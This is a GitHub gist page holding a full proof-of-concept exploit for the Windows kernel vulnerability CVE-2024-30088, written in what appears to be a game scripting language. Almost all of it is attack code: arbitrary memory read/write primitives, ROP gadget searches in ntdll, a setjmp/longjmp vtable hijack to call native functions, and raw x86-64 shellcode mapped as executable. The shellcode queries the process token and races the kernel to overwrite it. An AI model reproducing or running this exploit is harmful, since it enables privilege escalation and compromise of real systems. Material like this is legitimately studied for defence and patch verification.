-
-
Save zahirkelloud/92296a179c07d3e088c08dd959338299 to your computer and use it in GitHub Desktop.
CVE-2024-30088 PoC
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// CVE-2024-30088 PoC - @carrot_c4k3 (exploits.forsale) | |
// | |
let get_token_handle_code = [0x48,0x89,0x4c,0x24,0x8,0x48,0x83,0xec,0x48,0x48,0xc7,0x44,0x24,0x38,0x0,0x0,0x0,0x0,0x48,0x8b,0x44,0x24,0x50,0xff,0x10,0x4c,0x8d,0x44,0x24,0x38,0xba,0x0,0x0,0x0,0x2,0x48,0x8b,0xc8,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x8,0xc7,0x44,0x24,0x30,0x0,0x0,0x0,0x0,0x48,0x8d,0x44,0x24,0x30,0x48,0x89,0x44,0x24,0x20,0x41,0xb9,0x0,0x20,0x0,0x0,0x48,0x8b,0x44,0x24,0x50,0x4c,0x8b,0x40,0x18,0xba,0x16,0x0,0x0,0x0,0x48,0x8b,0x4c,0x24,0x38,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x10,0x48,0x8b,0x44,0x24,0x50,0x48,0x8b,0x4c,0x24,0x38,0x48,0x89,0x48,0x40,0x8b,0x44,0x24,0x30,0x48,0x83,0xc4,0x48,0xc3,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc] | |
let create_smash_thread_code = [0x48,0x89,0x4c,0x24,0x8,0x48,0x83,0xec,0x38,0x48,0xc7,0x44,0x24,0x28,0x0,0x0,0x0,0x0,0xc7,0x44,0x24,0x20,0x0,0x0,0x0,0x0,0x4c,0x8b,0x4c,0x24,0x40,0x48,0x8b,0x44,0x24,0x40,0x4c,0x8b,0x40,0x28,0x33,0xd2,0x33,0xc9,0x48,0x8b,0x44,0x24,0x40,0xff,0x50,0x20,0x48,0x83,0xc4,0x38,0xc3,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc] | |
let attempt_race_code = [0x48,0x89,0x4c,0x24,0x8,0x48,0x83,0xec,0x48,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x50,0xba,0xf,0x0,0x0,0x0,0x48,0x8b,0xc8,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x58,0xc7,0x44,0x24,0x30,0x0,0x0,0x0,0x0,0x48,0xc7,0x44,0x24,0x38,0x0,0x0,0x0,0x0,0xeb,0xd,0x48,0x8b,0x44,0x24,0x38,0x48,0xff,0xc0,0x48,0x89,0x44,0x24,0x38,0x48,0x8b,0x44,0x24,0x50,0x48,0x8b,0x40,0x48,0x48,0x39,0x44,0x24,0x38,0x73,0x31,0x48,0x8d,0x44,0x24,0x30,0x48,0x89,0x44,0x24,0x20,0x41,0xb9,0x0,0x20,0x0,0x0,0x48,0x8b,0x44,0x24,0x50,0x4c,0x8b,0x40,0x18,0xba,0x16,0x0,0x0,0x0,0x48,0x8b,0x44,0x24,0x50,0x48,0x8b,0x48,0x40,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x10,0xeb,0xb2,0x48,0x83,0xc4,0x48,0xc3,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc] | |
let smash_func_code = [0x4C,0x8B,0xE1,0x41,0xFF,0x54,0x24,0x50,0x48,0x8B,0xC8,0xBA,0x0F,0x00,0x00,0x00,0x41,0xFF,0x54,0x24,0x58,0x49,0x8B,0x44,0x24,0x30,0x49,0x8B,0x4C,0x24,0x38,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0xEB,0x83] | |
fn round_down(val, bound) { | |
return floor(val - (val % bound)) | |
} | |
fn array_compare(a1, a2) { | |
if (len(a1) != len(a2)) { | |
return false | |
} | |
var arr_len = len(a1) | |
for (var i = 0; i < arr_len; i++) { | |
if (a1[i] != a2[i]) { | |
return false | |
} | |
} | |
return true | |
} | |
// shorthand helpers for memory access | |
fn write8(addr, val) { | |
pointerSetUnsignedInteger8Bit(0, addr, val) | |
} | |
fn read8(addr) { | |
return pointerGetUnsignedInteger8Bit(0, addr) | |
} | |
fn write16(addr, val) { | |
pointerSetAtOffsetUnsignedInteger16Bit(0, addr, val) | |
} | |
fn read16(addr) { | |
return pointerGetAtOffsetUnsignedInteger16Bit(0, addr) | |
} | |
fn write32(addr, val) { | |
pointerSetAtOffsetUnsignedInteger(0, addr, val) | |
} | |
fn read32(addr) { | |
return pointerGetAtOffsetUnsignedInteger(0, addr) | |
} | |
fn write64(addr, val) { | |
pointerSetAtOffsetUnsignedInteger64Bit(0, addr, val) | |
} | |
fn read64(addr) { | |
return pointerGetAtOffsetUnsignedInteger64Bit(0, addr) | |
} | |
fn read_buf(addr, buf) { | |
var buf_len = len(buf) | |
for (var i = 0; i < buf_len; i++) { | |
buf[i] = read8(addr + i) | |
} | |
} | |
fn write_buf(addr, buf) { | |
var buf_len = len(buf) | |
for (var i = 0; i < buf_len; i++) { | |
write8(addr+i, buf[i]) | |
} | |
} | |
fn find_bytes(addr, max_len, pattern, buf) { | |
for (var i = 0; i < max_len; i++) { | |
read_buf(addr + i, buf) | |
if (array_compare(pattern, buf)) { | |
return addr + i | |
} | |
} | |
return 0 | |
} | |
fn find64(addr, max_len, v) { | |
var offset = 0 | |
while (1) { | |
var temp_val = read64(addr+offset) | |
if (temp_val == v) { | |
return addr+offset | |
} | |
offset += 8 | |
} | |
return 0 | |
} | |
// shorthand funcs | |
fn ptr_to_num(p) { | |
return numberFromRaw64BitUnsignedInteger(p) | |
} | |
fn make_cstr(s) { | |
var str_len = len(s) + 1 | |
var s_ptr = globalArrayNew8Bit(s, str_len) | |
pointerSetString(s_ptr, 0, s) | |
return ptr_to_num(s_ptr) | |
} | |
var gs_base = 0 | |
var ntdll_base = 0 | |
var kernelbase_base = 0 | |
var longjmp_ptr = 0 | |
var setjmp_ptr = 0 | |
var gadget_ptr = 0 | |
var gadget_rsp0x48_ptr = 0 | |
var gadget_pushrax_ptr = 0 | |
fn call_native(func_ptr, rcx, rdx, r8, r9) { | |
// set this gadget here | |
gadget_rsp0x48_ptr = gs_base + 0xE04B | |
gadget_pushrax_ptr = gs_base + 0x1F13A | |
var call_done = false | |
// allocate 0x120 (space for vtable + setjmp data) | |
var obj_ptr = globalArrayNew8Bit("call", 0x100) | |
var objp = ptr_to_num(obj_ptr) | |
var vt_ptr = globalArrayNew8Bit("vtable", 0x18) | |
var vtp = ptr_to_num(vt_ptr) | |
var stack_size = 0x4000 | |
var stack_ptr = globalArrayNew8Bit("stack", stack_size) | |
var stackp = ptr_to_num(stack_ptr) | |
var jmpctx_ptr = globalArrayNew8Bit("jctx", 0x100) | |
var jcp = ptr_to_num(jmpctx_ptr) | |
// set up vtable pointers | |
write64(vtp+8, setjmp_ptr) | |
write64(objp, vtp) | |
// trigger vtable call | |
slBus_destroy(obj_ptr) | |
memcpy(jmpctx_ptr, 0, obj_ptr, 0, 0x100) | |
// set up our rop chain | |
var r10 = 0 | |
var r11 = 0 | |
write64(stackp+stack_size-0xA0, rdx) | |
write64(stackp+stack_size-0x98, rcx) | |
write64(stackp+stack_size-0x90, r8) | |
write64(stackp+stack_size-0x88, r9) | |
write64(stackp+stack_size-0x80, r10) | |
write64(stackp+stack_size-0x78, r11) | |
write64(stackp+stack_size-0x70, func_ptr) | |
write64(stackp+stack_size-0x68, gadget_pushrax_ptr) | |
// 0x30 bytes of padding | |
write64(stackp+stack_size-0x38, 0x15151515) | |
write64(stackp+stack_size-0x30, gs_base+0x109C4A) | |
write64(stackp+stack_size-0x28, jcp) | |
write64(stackp+stack_size-0x20, longjmp_ptr); | |
// set up the context to do the longjmp | |
write64(vtp+8, longjmp_ptr) | |
write64(objp, vtp) | |
// rsp | |
write64(objp+0x10, stackp+stack_size-0xA0) | |
// rip | |
write64(objp+0x50, gadget_ptr) | |
// trigger vtable call | |
slBus_destroy(obj_ptr) | |
var ret_val = read64(stackp+stack_size-0x68) | |
// clean up our objects | |
globalArrayDelete("call") | |
globalArrayDelete("vtable") | |
globalArrayDelete("stack") | |
globalArrayDelete("jctx") | |
return ret_val | |
} | |
fn find_module_base(addr) { | |
var search_addr = round_down(addr, 0x10000) | |
while (1) { | |
var magic_static = [0x4D, 0x5A] | |
var magic_read = [0, 0] | |
read_buf(search_addr, magic_read) | |
if (array_compare(magic_static, magic_read)) { | |
return search_addr | |
} | |
search_addr -= 0x10000 | |
} | |
return 0 | |
} | |
fn get_dll_exports(base_addr) { | |
var res = {} | |
var magic_static = [0x4D, 0x5A] | |
var magic_read = [0, 0] | |
read_buf(base_addr, magic_read) | |
if (!array_compare(magic_static, magic_read)) { | |
printConsole("Magic is invalid!\n") | |
return res | |
} | |
var e_lfanew = read32(base_addr+0x3c) | |
var exports_addr = base_addr + read32(base_addr+e_lfanew+0x70+0x18) | |
var num_funcs = read32(exports_addr+0x14) | |
var num_names = read32(exports_addr+0x18) | |
var funcs_addr = base_addr + read32(exports_addr+0x1c) | |
var names_addr = base_addr + read32(exports_addr+0x20) | |
var ords_addr = base_addr + read32(exports_addr+0x24) | |
for (var i = 0; i < num_names; i++) { | |
var name_addr = base_addr + read32(names_addr + (4 * i)) | |
var name_str = pointerGetSubstring(0, name_addr, 0x20) | |
var ordinal = read16(ords_addr + (2 * i)) | |
var func_addr = base_addr + read32(funcs_addr + (4 * ordinal)) | |
res[name_str] = func_addr | |
} | |
return res | |
} | |
var VirtualAlloc_ptr = 0 | |
var VirtualProtect_ptr = 0 | |
fn map_code(code) { | |
var code_addr = call_native(VirtualAlloc_ptr, 0, 0x100000, 0x3000, 4) | |
write_buf(code_addr, code) | |
var oldp_ptr = globalArrayNew8Bit("oldp", 0x100) | |
var oldpp = ptr_to_num(oldp_ptr) | |
call_native(VirtualProtect_ptr, code_addr, 0x100000, 0x20, oldpp) | |
return code_addr | |
} | |
// create and dump our object to the terminal | |
var slbus_ptr = slBus_create() | |
var slp = numberFromRaw64BitUnsignedInteger(slbus_ptr) | |
// get the base of the GameScript module via the vtable | |
gs_base = read64(slp) - 0x16faf8 | |
ntdll_base = find_module_base(read64(gs_base + 0x125398)) | |
kernelbase_base = find_module_base(read64(gs_base + 0x1253A0)) | |
var setjmp_bytes = [0x48,0x89,0x11,0x48,0x89,0x59,0x08,0x48,0x89,0x69,0x18,0x48,0x89,0x71,0x20,0x48] | |
var longjmp_bytes = [0x48,0x8B,0xC2,0x48,0x8B,0x59,0x08,0x48,0x8B,0x71,0x20,0x48,0x8B,0x79,0x28,0x4C] | |
var tmp_bytes = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] | |
setjmp_ptr = find_bytes(ntdll_base, 0x217000, setjmp_bytes, tmp_bytes) | |
longjmp_ptr = find_bytes(ntdll_base, 0x217000, longjmp_bytes, tmp_bytes) | |
// bytes for the following gadget: pop rdx;pop rcx;pop r8;pop r9;pop r10;pop r11; ret | |
var gadget_bytes = [0x5A, 0x59, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x41, 0x5B, 0xC3] | |
tmp_bytes = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] | |
gadget_ptr = find_bytes(ntdll_base, 0x217000, gadget_bytes, tmp_bytes) | |
// get the ntdll & kernel base exports and find VirtualAlloc/Protect | |
var kernelbase_exports = get_dll_exports(kernelbase_base) | |
var ntdll_exports = get_dll_exports(ntdll_base) | |
VirtualAlloc_ptr = kernelbase_exports["VirtualAlloc"] | |
VirtualProtect_ptr = kernelbase_exports["VirtualProtect"] | |
// map our code first blob of shellcode | |
var code_addr = map_code(get_token_handle_code) | |
var smash_func_addr = map_code(smash_func_code) | |
var create_smash_thread_ptr = map_code(create_smash_thread_code) | |
var attempt_race_ptr = map_code(attempt_race_code) | |
// create our shellcode context | |
var ctx_ptr = globalArrayNew8Bit("ctxp", 0x500) | |
var ctxp = ptr_to_num(ctx_ptr) | |
// allocate our token info buffer | |
var tinfo_ptr = globalArrayNew8Bit("tinfo", 0x2000) | |
var tinfop = ptr_to_num(tinfo_ptr) | |
// look up the functions needed by our shellcode | |
var OpenProcessToken_ptr = kernelbase_exports["OpenProcessToken"] | |
var GetCurrentProcess_ptr = kernelbase_exports["GetCurrentProcess"] | |
var NtQueryInformationToken_ptr = ntdll_exports["NtQueryInformationToken"] | |
var CreateThread_ptr = kernelbase_exports["CreateThread"] | |
var TerminateThread_ptr = kernelbase_exports["TerminateThread"] | |
var GetCurrentThread_ptr = kernelbase_exports["GetCurrentThread"] | |
var SetThreadPriority_ptr = kernelbase_exports["SetThreadPriority"] | |
// setup shellcode ctx | |
write64(ctxp, GetCurrentProcess_ptr) | |
write64(ctxp+8, OpenProcessToken_ptr) | |
write64(ctxp+0x10, NtQueryInformationToken_ptr) | |
write64(ctxp+0x18, tinfop) | |
write64(ctxp+0x20, CreateThread_ptr) | |
write64(ctxp+0x28, smash_func_addr) | |
write64(ctxp+0x48, 0x800000) | |
write64(ctxp+0x50, GetCurrentThread_ptr) | |
write64(ctxp+0x58, SetThreadPriority_ptr) | |
// call create_token_handle | |
var bytes_returned = call_native(code_addr, ctxp, 0, 0, 0) | |
var token_handle = read64(ctxp+0x40) | |
var magic_str = [0x54, 0x00, 0x53, 0x00, 0x41, 0x00, 0x3A, 0x00, 0x2F, 0x00, 0x2F, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x55, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x71, 0x00, 0x75, 0x00, 0x65, 0x00] | |
tmp_bytes = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] | |
var magic_str_ptr = find_bytes(tinfop, bytes_returned, magic_str, tmp_bytes) | |
var smash_ptr = find64(tinfop, bytes_returned, magic_str_ptr) | |
write64(ctxp+0x30, smash_ptr) | |
write32(ctxp+0x38, 0x41414141) | |
write32(ctxp+0x3C, 0xFFFFFFFF) | |
// trigger the bug | |
var thread_handle = call_native(create_smash_thread_ptr, ctxp, 0, 0, 0) | |
call_native(attempt_race_ptr, ctxp, 0, 0, 0) | |
call_native(TerminateThread_ptr, thread_handle, 0, 0, 0) | |
// if we got here the bug did not trigger | |
printConsole("If you're seeing this the kernel vulnerability is patched, sorry :c\n") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment